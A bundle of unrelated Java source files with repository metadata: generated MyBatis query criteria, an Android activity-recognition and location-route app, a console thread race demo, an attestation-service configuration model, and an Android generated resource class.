"dealTime"); return (Criteria) this; } public Criteria andDealTimeBetween(Date value1, Date value2) { addCriterion("deal_time between", value1, value2, "dealTime"); return (Criteria) this; } public Criteria andDealTimeNotBetween(Date value1, Date value2) { addCriterion("deal_time not between", value1, value2, "dealTime"); return (Criteria) this; } public Criteria andAdminIdIsNull() { addCriterion("admin_id is null"); return (Criteria) this; } public Criteria andAdminIdIsNotNull() { addCriterion("admin_id is not null"); return (Criteria) this; } public Criteria andAdminIdEqualTo(Integer value) { addCriterion("admin_id =", value, "adminId"); return (Criteria) this; } public Criteria andAdminIdNotEqualTo(Integer value) { addCriterion("admin_id <>", value, "adminId"); return (Criteria) this; } public Criteria andAdminIdGreaterThan(Integer value) { addCriterion("admin_id >", value, "adminId"); return (Criteria) this; } public Criteria andAdminIdGreaterThanOrEqualTo(Integer value) { addCriterion("admin_id >=", value, "adminId"); return (Criteria) this; } public Criteria andAdminIdLessThan(Integer value) { addCriterion("admin_id <", value, "adminId"); return (Criteria) this; } public Criteria andAdminIdLessThanOrEqualTo(Integer value) { addCriterion("admin_id <=", value, "adminId"); return (Criteria) this; } public Criteria andAdminIdIn(List<Integer> values) { addCriterion("admin_id in", values, "adminId"); return (Criteria) this; } public Criteria andAdminIdNotIn(List<Integer> values) { addCriterion("admin_id not in", values, "adminId"); return (Criteria) this; } public Criteria andAdminIdBetween(Integer value1, Integer value2) { addCriterion("admin_id between", value1, value2, "adminId"); return (Criteria) this; } public Criteria andAdminIdNotBetween(Integer value1, Integer value2) { addCriterion("admin_id not between", value1, value2, "adminId"); return (Criteria) this; } } public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }
[ "2013381338@qq.com" ]
2013381338@qq.com
d0c7bbf7f4bc2ec0a527c65e8619213ea3b3407d
4a963d3d0e1fbd1d1baff2826cf1e9c6fb7f4577
/app/src/main/java/com/csi5175/mobilecommerce/recogu/MainActivity.java
d7ba87349663d9b89122792de78b2eeef756705b
[]
no_license
donnytab/RecogU
7eafb00574558070be0d1dcafda87349c0e98450
408781baee4df1285a85f4bdec2acd4ca247a068
refs/heads/master
2021-04-28T16:27:44.302632
2018-02-25T05:11:14
2018-02-25T05:11:14
122,016,616
0
0
null
null
null
null
UTF-8
Java
false
false
14,670
java
package com.csi5175.mobilecommerce.recogu; import android.Manifest; import android.annotation.SuppressLint; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.ContentValues; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.pm.PackageManager; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import android.graphics.Color; import android.location.Location; import android.os.Looper; import android.support.annotation.NonNull; import android.support.annotation.Nullable; import android.support.v4.app.ActivityCompat; import android.support.v4.content.LocalBroadcastManager; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.view.Gravity; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import com.google.android.gms.common.ConnectionResult; import com.google.android.gms.common.api.GoogleApiClient; import com.google.android.gms.location.ActivityRecognition; import com.google.android.gms.location.FusedLocationProviderClient; import com.google.android.gms.location.LocationCallback; import com.google.android.gms.location.LocationRequest; import com.google.android.gms.location.LocationResult; import com.google.android.gms.location.LocationServices; import com.google.android.gms.location.LocationSettingsRequest; import com.google.android.gms.location.SettingsClient; import com.google.android.gms.maps.CameraUpdateFactory; import com.google.android.gms.maps.GoogleMap; import com.google.android.gms.maps.OnMapReadyCallback; import com.google.android.gms.maps.SupportMapFragment; import com.google.android.gms.maps.model.LatLng; import com.google.android.gms.maps.model.MarkerOptions; import com.google.android.gms.maps.model.PolylineOptions; import com.google.android.gms.tasks.OnSuccessListener; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Calendar; public class MainActivity extends AppCompatActivity implements GoogleApiClient.ConnectionCallbacks, GoogleApiClient.OnConnectionFailedListener, OnMapReadyCallback { public GoogleApiClient mApiClient; private FusedLocationProviderClient mFusedLocationClient; private SupportMapFragment mapFragment; private LocationCallback mLocationCallback; private LocationRequest mLocationRequest; private LocationSettingsRequest locationSettingsRequest; ArrayList<Location> locationList; private String mainName = MainActivity.class.getSimpleName(); private TextView txtActivity, txtConfidence; private ImageView imgActivity; private static final String DATABASE_NAME = "RecogDB"; private static final String TABLE_NAME = "time"; private static final String ID = "_id"; private static final String TYPE = "type"; private static final String TIMESTAMP = "timestamp"; private SQLiteDatabase sqlDB; @SuppressLint("WrongConstant") @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Initialize FusedLocationClient mFusedLocationClient = LocationServices.getFusedLocationProviderClient(this); locationList = new ArrayList<Location>(); // Initialize fragment for Google Maps mapFragment = (SupportMapFragment)getSupportFragmentManager().findFragmentById(R.id.map); callMapAsync(); txtActivity = findViewById(R.id.txt_activity); txtConfidence = findViewById(R.id.txt_confidence); imgActivity = (ImageView) findViewById(R.id.img_activity); // Show greeting displayGreeting(); // Create database sqlDB = openOrCreateDatabase(DATABASE_NAME, SQLiteDatabase.CREATE_IF_NECESSARY, null); // Create table for all detected activities try { String createTableQuery = "CREATE TABLE " + TABLE_NAME + "(" + ID + " INTEGER PRIMARY KEY AUTOINCREMENT," + TYPE + " TEXT NOT NULL, " + TIMESTAMP + " TEXT NOT NULL)"; sqlDB.execSQL(createTableQuery); } catch (Exception e) { e.printStackTrace(); } mApiClient = new GoogleApiClient.Builder(this) .addApi(ActivityRecognition.API) .addConnectionCallbacks(this) .addOnConnectionFailedListener(this) .build(); mApiClient.connect(); // Check location permission & async map startLocationUpdates(); // Create BroadcastReceiver for ActivityRecognizedService BroadcastReceiver broadcastReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { String activityName = intent.getStringExtra(ActivityRecognizedService.ACTIVITY_RECOGNITION_TYPE_NAME); String confidence = intent.getStringExtra(ActivityRecognizedService.ACTIVITY_RECOGNITION_TYPE_CONFIDENCE); int icon = intent.getIntExtra(ActivityRecognizedService.ACTIVITY_RECOGNITION_TYPE_ICON, 0); String timestamp = intent.getStringExtra(ActivityRecognizedService.ACTIVITY_RECOGNITION_TYPE_TIMESTAMP); int mapStatus = intent.getIntExtra(ActivityRecognizedService.ACTIVITY_RECOGNITION_MAP_STATUS, 0); // Display result txtActivity.setText(activityName); txtConfidence.setText("Confidence: " + confidence); imgActivity.setImageResource(icon); mapFragment.getView().setVisibility(mapStatus); // Query for last activity String selectQuery = "SELECT * FROM " + TABLE_NAME + " ORDER BY " + TIMESTAMP + " DESC LIMIT 1"; Cursor cursor = sqlDB.rawQuery(selectQuery, null); if (cursor.moveToFirst()) { String lastTimestamp = cursor.getString(cursor.getColumnIndex(TIMESTAMP)); String lastActivity = cursor.getString(cursor.getColumnIndex(TYPE)); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); long duration = 0; try { // Calculate duration time between last activity and current activity duration = (simpleDateFormat.parse(timestamp).getTime() - simpleDateFormat.parse(lastTimestamp).getTime()) / 1000; } catch (ParseException e) { e.printStackTrace(); } // Display duration time with toast text if (duration != 0 && !lastActivity.equals("")) { String toastText = "You have been " + lastActivity + " for " + Long.toString(duration) + " seconds"; Toast.makeText(getApplicationContext(), toastText, Toast.LENGTH_LONG).show(); } } cursor.close(); // Insert start time for each new activity ContentValues values = new ContentValues(); values.put(TYPE, activityName); values.put(TIMESTAMP, timestamp); sqlDB.insert(TABLE_NAME, null, values); } }; // Setup LocalBroadcastManager LocalBroadcastManager.getInstance(this).registerReceiver( broadcastReceiver, new IntentFilter(ActivityRecognizedService.ACTION) ); } @Override public void onConnected(@Nullable Bundle bundle) { Intent intent = new Intent(this, ActivityRecognizedService.class); PendingIntent pendingIntent = PendingIntent.getService(this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT); ActivityRecognition.ActivityRecognitionApi.requestActivityUpdates(mApiClient, 5000, pendingIntent); } @Override public void onConnectionSuspended(int i) { } @Override public void onConnectionFailed(@NonNull ConnectionResult connectionResult) { } @Override protected void onResume() { super.onResume(); startService(new Intent(this, ActivityRecognizedService.class)); } @Override protected void onPause() { super.onPause(); stopService(new Intent(this, ActivityRecognizedService.class)); } @Override protected void onRestart() { super.onRestart(); startService(new Intent(this, ActivityRecognizedService.class)); } @Override protected void onStop() { super.onStop(); stopService(new Intent(this, ActivityRecognizedService.class)); sqlDB.delete(TABLE_NAME, null, null); } @Override protected void onDestroy() { super.onDestroy(); stopService(new Intent(this, ActivityRecognizedService.class)); } private void displayGreeting() { Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String time = simpleDateFormat.format(calendar.getTime()); imgActivity.setImageResource(R.drawable.ic_frontpage); txtActivity.setGravity(Gravity.CENTER); txtActivity.setText("Welcome back! \nCurrent time is \n" + time); } @Override public void onMapReady(final GoogleMap googleMap) { if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, 1); // ActivityCompat#requestPermissions // here to request the missing permissions, and then overriding Log.e("permission","no permission"); return; } googleMap.setMyLocationEnabled(true); mFusedLocationClient.getLastLocation() .addOnSuccessListener(this, new OnSuccessListener<Location>() { @Override public void onSuccess(Location location) { if (location != null) { // Clear previous markers googleMap.clear(); Log.e("location","has location"); // Display current location with marker LatLng currentLocation = new LatLng(location.getLatitude(), location.getLongitude()); googleMap.addMarker(new MarkerOptions().position(currentLocation).title("You are here")); googleMap.moveCamera(CameraUpdateFactory.newLatLng(currentLocation)); googleMap.getUiSettings().setZoomControlsEnabled(true); // The initial location if(locationList.size() == 0) { locationList.add(location); } updateMapRoute(googleMap); } } }); } @Override public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) { if(requestCode != 1) { return; } // Permission granted if(permissions.length != 0 && grantResults.length != 0) { if(Manifest.permission.ACCESS_FINE_LOCATION.equals(permissions[0]) && (grantResults[0]==PackageManager.PERMISSION_GRANTED)) { callMapAsync(); } } } private void createLocationCallback() { mLocationCallback = new LocationCallback() { @Override public void onLocationResult(LocationResult locationResult) { super.onLocationResult(locationResult); // Retrieve all location results for(Location location : locationResult.getLocations()) { Log.e("location: ", location.getLatitude() + "," + location.getLongitude()); locationList.add(location); } callMapAsync(); } }; } private void startLocationUpdates() { // Create location request mLocationRequest = new LocationRequest(); mLocationRequest.setInterval(5000); mLocationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY); LocationSettingsRequest.Builder builder = new LocationSettingsRequest.Builder(); builder.addLocationRequest(mLocationRequest); locationSettingsRequest = builder.build(); SettingsClient settingsClient = LocationServices.getSettingsClient(this); settingsClient.checkLocationSettings(locationSettingsRequest); // Check location permission if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED && ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.ACCESS_FINE_LOCATION}, 1); // ActivityCompat#requestPermissions // here to request the missing permissions, and then overriding Log.e("permission","no permission"); // Exit current activity System.exit(0); } // Create periodical callbacks createLocationCallback(); mFusedLocationClient.requestLocationUpdates(mLocationRequest, mLocationCallback, Looper.getMainLooper()); } // Update route in map private void updateMapRoute(GoogleMap googleMap) { for(int i=0; i<locationList.size()-1; i++) { Location locationHead = locationList.get(i); Location locationNext = locationList.get(i+1); // Draw lines between locations googleMap.addPolyline(new PolylineOptions() .clickable(true) .add(new LatLng(locationHead.getLatitude(), locationHead.getLongitude()), new LatLng(locationNext.getLatitude(), locationNext.getLongitude())) .width(20) .color(Color.BLUE)); } } // Update Google maps private void callMapAsync() { mapFragment.getMapAsync(this); } }
[ "downson.yuen@gmail.com" ]
downson.yuen@gmail.com
a5af89a102b6c66d26857a94cb5b9a3d5a20ad1f
d7bdaadca23880af130724d2a5813d56c9148f1b
/TrNetCompilation/test-src/activitymigrationgeneratedfromdsltransoriginal/TrNetPat163InstancePublisher.java
51721cd73373133c3f4c6a247b8ddf711058a1e2
[]
no_license
clagms/TrNet
14b957e4ba8b8fb81925ca9acf2e64bc805c12e1
5b14e0f0fb352b6f1bf6a684cc1d4aaa0104ab47
refs/heads/master
2021-01-01T03:41:58.483993
2016-04-26T14:20:22
2016-04-26T14:20:22
57,108,988
0
0
null
null
null
null
UTF-8
Java
false
false
235
java
package activitymigrationgeneratedfromdsltransoriginal; public interface TrNetPat163InstancePublisher{ public void registerListener(TrNetPat163InstanceListener listener); public void notifyListeners(TrNetPat163Instance element); }
[ "cla.gms@gmail.com" ]
cla.gms@gmail.com
7bc6eec2b62bc39133b509b48042e0d2be2ddc39
73e22e4dca15c4f3b51b317641b9ba5072fa5295
/Ex_1118/src/thread_sleep02/Runners.java
7a8a79b0f0d4b2d22c0470df5e97c244363d2407
[]
no_license
CHOKIHO/increpas
9d0112a6aa543cc29a07dd5ea328c3cfd505c1e5
a1e745f224df27f45686ac0b4e2a76290037cd70
refs/heads/master
2020-12-24T11:17:20.386361
2016-12-05T08:15:19
2016-12-05T08:15:19
73,042,228
0
0
null
null
null
null
UTF-8
Java
false
false
1,390
java
package thread_sleep02; import java.util.Random; public class Runners { public static void main(String[] args) throws InterruptedException { int[] playerRandom = new int[4]; String[] playerJump = { "", "", "", "" }; boolean finish = false; int finishPlayer = 0; while(true) { //๋‹ฌ๋ฆด๊ฑฐ๋ฆฌ for (int i =0; i< playerRandom.length; i++) { playerRandom[i] = new Random().nextInt(3); } Thread.sleep(100); //์„ ์ˆ˜๋ณ„๋กœ ๋‹ฌ๋ฆด๊ฑฐ๋ฆฌ๋ฅผ ์ ์šฉ for(int i=0;i<playerJump.length;i++) { switch (playerRandom[i]) { case 0: playerJump[i] += ""; break; case 1: playerJump[i] += " "; break; case 2: playerJump[i] += " "; break; case 3: playerJump[i] += " "; break; } } //๋‹ฌ๋ฆฌ๊ธฐ System.out.println("-----------------------------------------------------------------------------------------------------"); for (int i=0; i<playerJump.length;i++) { System.out.print(playerJump[i]); System.out.println(i+1+"์˜ท"); if(playerJump[i].length() > 50) { finish = true; finishPlayer = i+1; } } System.out.println("-----------------------------------------------------------------------------------------------------"); if (finish==true) { System.out.println("win - " + finishPlayer); break; } } } }
[ "banfff@kg21.net" ]
banfff@kg21.net
e567576c1b571d51ec6258691363cf9fcb964a02
44424301f8fc2c1a9b677f0050bf191e8973f011
/desktop/setup-console/src/main/java/com/intel/mtwilson/setup/model/AttestationService.java
b74c19c012177060f3966a5b88de76c6e6eed744
[ "BSD-3-Clause" ]
permissive
start621/opencit
6713aee8bc92d84e1768645f4589e5da5fa937f4
e6f8714b60c3a2d8ca80623780e6eccba207acd6
refs/heads/master
2020-12-30T16:16:14.267848
2016-04-20T21:27:00
2016-04-20T21:27:00
null
0
0
null
null
null
null
UTF-8
Java
false
false
1,330
java
/* * Copyright (C) 2012 Intel Corporation * All rights reserved. */ package com.intel.mtwilson.setup.model; import com.intel.mtwilson.datatypes.IPAddress; import java.io.File; import java.net.URL; /** * * @author jbuhacof */ public class AttestationService { private IPAddress hostAddress; private URL serviceUrl; private File dataFolder; // com.intel.mountwilson.as.home=/var/opt/intel/aikverifyhome // private String com.intel.mountwilson.as.aikqverify.cmd=aikqverify // private String com.intel.mountwilson.as.openssl.cmd=openssl.sh private String samlIssuer; // default to serviceUrl.toExternalString() private File samlKeystoreFile; // saml.keystore.file=SAML.jks private String samlKeystorePassword; // saml.keystore.password=changeit private String samlKeyAlias; // saml.key.alias=samlkey1 private String samlKeyPassword; // saml.key.password=changeit; private Integer samlValiditySeconds; // saml.validity.seconds=3600 private String databaseHost; // mountwilson.as.db.host=10.1.71.103 private Integer databasePort; // mountwilson.as.db.port=3306 private String databaseUsername; // mountwilson.as.db.user=root private String databasePassword; // mountwilson.as.db.password=password private IPAddress privacycaHost; // privacyca.server=10.1.71.103 }
[ "zahedi.aquino@intel.com" ]
zahedi.aquino@intel.com
14537524fec618d92f22ecab3cdde1afc7239056
ff1451ef76cc572da5604a3b1f3df84c062cbf14
/app/build/generated/source/r/debug/com/google/android/gms/vision/R.java
0699325e8277984a3b11d5bdb71f8c9dcf53050f
[]
no_license
chaitug/mdkmf
ec7dcb694c9f8be917c5bd486d061284fd431a6a
b857640b28fb4d097c864e0ff4c665653debf6b4
refs/heads/master
2020-04-23T20:13:57.083715
2017-03-24T08:51:28
2017-03-24T08:51:28
171,432,706
0
0
null
null
null
null
UTF-8
Java
false
false
21,943
java
/* AUTO-GENERATED FILE. DO NOT MODIFY. * * This class was automatically generated by the * aapt tool from the resource data it found. It * should not be modified by hand. */ package com.google.android.gms.vision; public final class R { public static final class attr { public static final int adSize = 0x7f010027; public static final int adSizes = 0x7f010028; public static final int adUnitId = 0x7f010029; public static final int ambientEnabled = 0x7f010070; public static final int appTheme = 0x7f01013e; public static final int buttonSize = 0x7f010092; public static final int buyButtonAppearance = 0x7f010145; public static final int buyButtonHeight = 0x7f010142; public static final int buyButtonText = 0x7f010144; public static final int buyButtonWidth = 0x7f010143; public static final int cameraBearing = 0x7f010061; public static final int cameraTargetLat = 0x7f010062; public static final int cameraTargetLng = 0x7f010063; public static final int cameraTilt = 0x7f010064; public static final int cameraZoom = 0x7f010065; public static final int circleCrop = 0x7f01005f; public static final int colorScheme = 0x7f010093; public static final int environment = 0x7f01013f; public static final int fragmentMode = 0x7f010141; public static final int fragmentStyle = 0x7f010140; public static final int imageAspectRatio = 0x7f01005e; public static final int imageAspectRatioAdjust = 0x7f01005d; public static final int liteMode = 0x7f010066; public static final int mapType = 0x7f010060; public static final int maskedWalletDetailsBackground = 0x7f010148; public static final int maskedWalletDetailsButtonBackground = 0x7f01014a; public static final int maskedWalletDetailsButtonTextAppearance = 0x7f010149; public static final int maskedWalletDetailsHeaderTextAppearance = 0x7f010147; public static final int maskedWalletDetailsLogoImageType = 0x7f01014c; public static final int maskedWalletDetailsLogoTextColor = 0x7f01014b; public static final int maskedWalletDetailsTextAppearance = 0x7f010146; public static final int scopeUris = 0x7f010094; public static final int uiCompass = 0x7f010067; public static final int uiMapToolbar = 0x7f01006f; public static final int uiRotateGestures = 0x7f010068; public static final int uiScrollGestures = 0x7f010069; public static final int uiTiltGestures = 0x7f01006a; public static final int uiZoomControls = 0x7f01006b; public static final int uiZoomGestures = 0x7f01006c; public static final int useViewLifecycle = 0x7f01006d; public static final int windowTransitionStyle = 0x7f01004c; public static final int zOrderOnTop = 0x7f01006e; } public static final class color { public static final int common_action_bar_splitter = 0x7f0d00a6; public static final int common_google_signin_btn_text_dark = 0x7f0d0118; public static final int common_google_signin_btn_text_dark_default = 0x7f0d00a7; public static final int common_google_signin_btn_text_dark_disabled = 0x7f0d00a8; public static final int common_google_signin_btn_text_dark_focused = 0x7f0d00a9; public static final int common_google_signin_btn_text_dark_pressed = 0x7f0d00aa; public static final int common_google_signin_btn_text_light = 0x7f0d0119; public static final int common_google_signin_btn_text_light_default = 0x7f0d00ab; public static final int common_google_signin_btn_text_light_disabled = 0x7f0d00ac; public static final int common_google_signin_btn_text_light_focused = 0x7f0d00ad; public static final int common_google_signin_btn_text_light_pressed = 0x7f0d00ae; public static final int common_plus_signin_btn_text_dark = 0x7f0d011a; public static final int common_plus_signin_btn_text_dark_default = 0x7f0d00af; public static final int common_plus_signin_btn_text_dark_disabled = 0x7f0d00b0; public static final int common_plus_signin_btn_text_dark_focused = 0x7f0d00b1; public static final int common_plus_signin_btn_text_dark_pressed = 0x7f0d00b2; public static final int common_plus_signin_btn_text_light = 0x7f0d011b; public static final int common_plus_signin_btn_text_light_default = 0x7f0d00b3; public static final int common_plus_signin_btn_text_light_disabled = 0x7f0d00b4; public static final int common_plus_signin_btn_text_light_focused = 0x7f0d00b5; public static final int common_plus_signin_btn_text_light_pressed = 0x7f0d00b6; public static final int place_autocomplete_prediction_primary_text = 0x7f0d00e0; public static final int place_autocomplete_prediction_primary_text_highlight = 0x7f0d00e1; public static final int place_autocomplete_prediction_secondary_text = 0x7f0d00e2; public static final int place_autocomplete_search_hint = 0x7f0d00e3; public static final int place_autocomplete_search_text = 0x7f0d00e4; public static final int place_autocomplete_separator = 0x7f0d00e5; public static final int wallet_bright_foreground_disabled_holo_light = 0x7f0d0100; public static final int wallet_bright_foreground_holo_dark = 0x7f0d0101; public static final int wallet_bright_foreground_holo_light = 0x7f0d0102; public static final int wallet_dim_foreground_disabled_holo_dark = 0x7f0d0103; public static final int wallet_dim_foreground_holo_dark = 0x7f0d0104; public static final int wallet_dim_foreground_inverse_disabled_holo_dark = 0x7f0d0105; public static final int wallet_dim_foreground_inverse_holo_dark = 0x7f0d0106; public static final int wallet_highlighted_text_holo_dark = 0x7f0d0107; public static final int wallet_highlighted_text_holo_light = 0x7f0d0108; public static final int wallet_hint_foreground_holo_dark = 0x7f0d0109; public static final int wallet_hint_foreground_holo_light = 0x7f0d010a; public static final int wallet_holo_blue_light = 0x7f0d010b; public static final int wallet_link_text_light = 0x7f0d010c; public static final int wallet_primary_text_holo_light = 0x7f0d011e; public static final int wallet_secondary_text_holo_dark = 0x7f0d011f; } public static final class dimen { public static final int place_autocomplete_button_padding = 0x7f09006c; public static final int place_autocomplete_powered_by_google_height = 0x7f09006d; public static final int place_autocomplete_powered_by_google_start = 0x7f09006e; public static final int place_autocomplete_prediction_height = 0x7f09006f; public static final int place_autocomplete_prediction_horizontal_margin = 0x7f090070; public static final int place_autocomplete_prediction_primary_text = 0x7f090071; public static final int place_autocomplete_prediction_secondary_text = 0x7f090072; public static final int place_autocomplete_progress_horizontal_margin = 0x7f090073; public static final int place_autocomplete_progress_size = 0x7f090074; public static final int place_autocomplete_separator_start = 0x7f090075; } public static final class drawable { public static final int cast_ic_notification_0 = 0x7f020060; public static final int cast_ic_notification_1 = 0x7f020061; public static final int cast_ic_notification_2 = 0x7f020062; public static final int cast_ic_notification_connecting = 0x7f020063; public static final int cast_ic_notification_on = 0x7f020064; public static final int common_full_open_on_phone = 0x7f02006b; public static final int common_google_signin_btn_icon_dark = 0x7f02006c; public static final int common_google_signin_btn_icon_dark_disabled = 0x7f02006d; public static final int common_google_signin_btn_icon_dark_focused = 0x7f02006e; public static final int common_google_signin_btn_icon_dark_normal = 0x7f02006f; public static final int common_google_signin_btn_icon_dark_pressed = 0x7f020070; public static final int common_google_signin_btn_icon_light = 0x7f020071; public static final int common_google_signin_btn_icon_light_disabled = 0x7f020072; public static final int common_google_signin_btn_icon_light_focused = 0x7f020073; public static final int common_google_signin_btn_icon_light_normal = 0x7f020074; public static final int common_google_signin_btn_icon_light_pressed = 0x7f020075; public static final int common_google_signin_btn_text_dark = 0x7f020076; public static final int common_google_signin_btn_text_dark_disabled = 0x7f020077; public static final int common_google_signin_btn_text_dark_focused = 0x7f020078; public static final int common_google_signin_btn_text_dark_normal = 0x7f020079; public static final int common_google_signin_btn_text_dark_pressed = 0x7f02007a; public static final int common_google_signin_btn_text_light = 0x7f02007b; public static final int common_google_signin_btn_text_light_disabled = 0x7f02007c; public static final int common_google_signin_btn_text_light_focused = 0x7f02007d; public static final int common_google_signin_btn_text_light_normal = 0x7f02007e; public static final int common_google_signin_btn_text_light_pressed = 0x7f02007f; public static final int common_ic_googleplayservices = 0x7f020080; public static final int common_plus_signin_btn_icon_dark = 0x7f020081; public static final int common_plus_signin_btn_icon_dark_disabled = 0x7f020082; public static final int common_plus_signin_btn_icon_dark_focused = 0x7f020083; public static final int common_plus_signin_btn_icon_dark_normal = 0x7f020084; public static final int common_plus_signin_btn_icon_dark_pressed = 0x7f020085; public static final int common_plus_signin_btn_icon_light = 0x7f020086; public static final int common_plus_signin_btn_icon_light_disabled = 0x7f020087; public static final int common_plus_signin_btn_icon_light_focused = 0x7f020088; public static final int common_plus_signin_btn_icon_light_normal = 0x7f020089; public static final int common_plus_signin_btn_icon_light_pressed = 0x7f02008a; public static final int common_plus_signin_btn_text_dark = 0x7f02008b; public static final int common_plus_signin_btn_text_dark_disabled = 0x7f02008c; public static final int common_plus_signin_btn_text_dark_focused = 0x7f02008d; public static final int common_plus_signin_btn_text_dark_normal = 0x7f02008e; public static final int common_plus_signin_btn_text_dark_pressed = 0x7f02008f; public static final int common_plus_signin_btn_text_light = 0x7f020090; public static final int common_plus_signin_btn_text_light_disabled = 0x7f020091; public static final int common_plus_signin_btn_text_light_focused = 0x7f020092; public static final int common_plus_signin_btn_text_light_normal = 0x7f020093; public static final int common_plus_signin_btn_text_light_pressed = 0x7f020094; public static final int ic_plusone_medium_off_client = 0x7f0200c0; public static final int ic_plusone_small_off_client = 0x7f0200c1; public static final int ic_plusone_standard_off_client = 0x7f0200c2; public static final int ic_plusone_tall_off_client = 0x7f0200c3; public static final int places_ic_clear = 0x7f0200ed; public static final int places_ic_search = 0x7f0200ee; public static final int powered_by_google_dark = 0x7f0200ef; public static final int powered_by_google_light = 0x7f0200f0; } public static final class id { public static final int adjust_height = 0x7f0e003c; public static final int adjust_width = 0x7f0e003d; public static final int android_pay = 0x7f0e0068; public static final int android_pay_dark = 0x7f0e005f; public static final int android_pay_light = 0x7f0e0060; public static final int android_pay_light_with_border = 0x7f0e0061; public static final int auto = 0x7f0e0049; public static final int book_now = 0x7f0e0058; public static final int buyButton = 0x7f0e0055; public static final int buy_now = 0x7f0e0059; public static final int buy_with = 0x7f0e005a; public static final int buy_with_google = 0x7f0e005b; public static final int cast_notification_id = 0x7f0e0006; public static final int classic = 0x7f0e0062; public static final int dark = 0x7f0e004a; public static final int donate_with = 0x7f0e005c; public static final int donate_with_google = 0x7f0e005d; public static final int google_wallet_classic = 0x7f0e0063; public static final int google_wallet_grayscale = 0x7f0e0064; public static final int google_wallet_monochrome = 0x7f0e0065; public static final int grayscale = 0x7f0e0066; public static final int holo_dark = 0x7f0e004f; public static final int holo_light = 0x7f0e0050; public static final int hybrid = 0x7f0e003e; public static final int icon_only = 0x7f0e0046; public static final int light = 0x7f0e004b; public static final int logo_only = 0x7f0e005e; public static final int match_parent = 0x7f0e0057; public static final int monochrome = 0x7f0e0067; public static final int none = 0x7f0e0019; public static final int normal = 0x7f0e0015; public static final int place_autocomplete_clear_button = 0x7f0e01c8; public static final int place_autocomplete_powered_by_google = 0x7f0e01ca; public static final int place_autocomplete_prediction_primary_text = 0x7f0e01cc; public static final int place_autocomplete_prediction_secondary_text = 0x7f0e01cd; public static final int place_autocomplete_progress = 0x7f0e01cb; public static final int place_autocomplete_search_button = 0x7f0e01c6; public static final int place_autocomplete_search_input = 0x7f0e01c7; public static final int place_autocomplete_separator = 0x7f0e01c9; public static final int production = 0x7f0e0051; public static final int sandbox = 0x7f0e0052; public static final int satellite = 0x7f0e003f; public static final int selectionDetails = 0x7f0e0056; public static final int slide = 0x7f0e0038; public static final int standard = 0x7f0e0047; public static final int strict_sandbox = 0x7f0e0053; public static final int terrain = 0x7f0e0040; public static final int test = 0x7f0e0054; public static final int wide = 0x7f0e0048; public static final int wrap_content = 0x7f0e004e; } public static final class integer { public static final int google_play_services_version = 0x7f0b0005; } public static final class layout { public static final int place_autocomplete_fragment = 0x7f030064; public static final int place_autocomplete_item_powered_by_google = 0x7f030065; public static final int place_autocomplete_item_prediction = 0x7f030066; public static final int place_autocomplete_progress = 0x7f030067; } public static final class raw { public static final int gtm_analytics = 0x7f060000; } public static final class string { public static final int accept = 0x7f070041; public static final int auth_google_play_services_client_facebook_display_name = 0x7f070048; public static final int auth_google_play_services_client_google_display_name = 0x7f070049; public static final int cast_notification_connected_message = 0x7f07004a; public static final int cast_notification_connecting_message = 0x7f07004b; public static final int cast_notification_disconnect = 0x7f07004c; public static final int common_google_play_services_api_unavailable_text = 0x7f070013; public static final int common_google_play_services_enable_button = 0x7f070014; public static final int common_google_play_services_enable_text = 0x7f070015; public static final int common_google_play_services_enable_title = 0x7f070016; public static final int common_google_play_services_install_button = 0x7f070017; public static final int common_google_play_services_install_text_phone = 0x7f070018; public static final int common_google_play_services_install_text_tablet = 0x7f070019; public static final int common_google_play_services_install_title = 0x7f07001a; public static final int common_google_play_services_invalid_account_text = 0x7f07001b; public static final int common_google_play_services_invalid_account_title = 0x7f07001c; public static final int common_google_play_services_network_error_text = 0x7f07001d; public static final int common_google_play_services_network_error_title = 0x7f07001e; public static final int common_google_play_services_notification_ticker = 0x7f07001f; public static final int common_google_play_services_restricted_profile_text = 0x7f070020; public static final int common_google_play_services_restricted_profile_title = 0x7f070021; public static final int common_google_play_services_sign_in_failed_text = 0x7f070022; 